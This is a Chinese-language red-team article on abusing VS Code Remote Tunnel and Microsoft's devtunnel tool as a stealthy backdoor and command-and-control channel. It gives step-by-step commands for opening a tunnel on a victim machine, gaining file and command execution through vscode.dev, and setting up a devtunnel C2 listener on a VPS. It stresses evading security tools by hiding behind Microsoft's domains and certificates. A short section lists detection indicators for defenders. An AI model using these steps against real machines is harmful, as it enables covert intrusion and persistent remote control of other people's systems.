[白利用]VSCode还能这样用?
字数 1153 2025-08-24 07:48:34
利用VSCode Remote - Tunnel进行远程控制与C2通信的技术分析
0x00 概述
Visual Studio Code Remote - Tunnel扩展提供了一种通过安全隧道连接远程计算机的能力,这项功能可以被红队人员用于远程控制目标机器或作为C2通信的隐蔽通道。本文将详细介绍两种利用方式:直接远程控制和作为C2域前置。
0x01 作为远程控制工具使用
基本原理
VS Code Remote - Tunnel扩展允许通过安全隧道连接到远程计算机,无需SSH,可以从任何地方的VS Code客户端连接。
操作步骤
-
在受害机器上开启Tunnel
- 前提:目标已安装VS Code
- 执行命令:
code tunnel - 系统会生成授权码(如:9222-1A1F)
- 注意:此操作需要能访问VSCode官网(可能需要代理)
-
GitHub授权
- 访问URL:
https://github.com/login/device - 使用GitHub账户登录并授权
- 授权成功后控制台会显示连接成功信息
- 访问URL:
-
通过后门地址控制
- 连接成功后会出现控制URL,格式如:
https://vscode.dev/tunnel/desktop-21fnjqm - 连接成功后左下角会显示机器名
- 连接成功后会出现控制URL,格式如:
-
功能验证
- 文件浏览:可以正常读取文件
- 文件写入:可以写入文件
- 命令执行:可以执行系统命令
目标未安装VSCode的解决方案
可以下载单文件版本的VSCode,同样可以正常使用此功能。
优点
- 大厂证书,回连域名和IP为微软VS Code官方域名/IP
- HTTPS加密,所有通信均为TLS加密
- 操作简便,隐蔽性高
检测与防御
检测特征:
- 控制台有log日志记录
- 外联域名特征:
*.tunnels.api.visualstudio.com*.devtunnels.ms
- 其他特征:
- 固定进程名:
code.exe - 参数名包含:
tunnel - 创建进程行为默认为:
cmd.exe和powershell.exe
- 固定进程名:
0x02 用作C2域前置
准备工作
-
在VPS上下载devtunnel工具
wget https://aka.ms/TunnelsCliDownload/linux-x64 mv linux-x64 devtunnel chmod +x devtunnel -
开启隧道并认证
./devtunnel user login -g -d -
创建隧道
./devtunnel create -a <隧道名称> ./devtunnel port create -p 8443 --protocol https ./devtunnel host系统会给出上线域名,格式如:
505lmm60-8443.asse.devtunnels.ms -
连接上线
- 注意:由于连接的是vscode服务,可能需要代理才能成功上线
参考链接
0x03 总结
VS Code Remote - Tunnel功能提供了隐蔽的远程控制通道,利用微软官方域名和HTTPS加密的特性,可以有效规避传统安全设备的检测。防御方应关注相关网络连接特征和进程行为特征,建立相应的检测规则。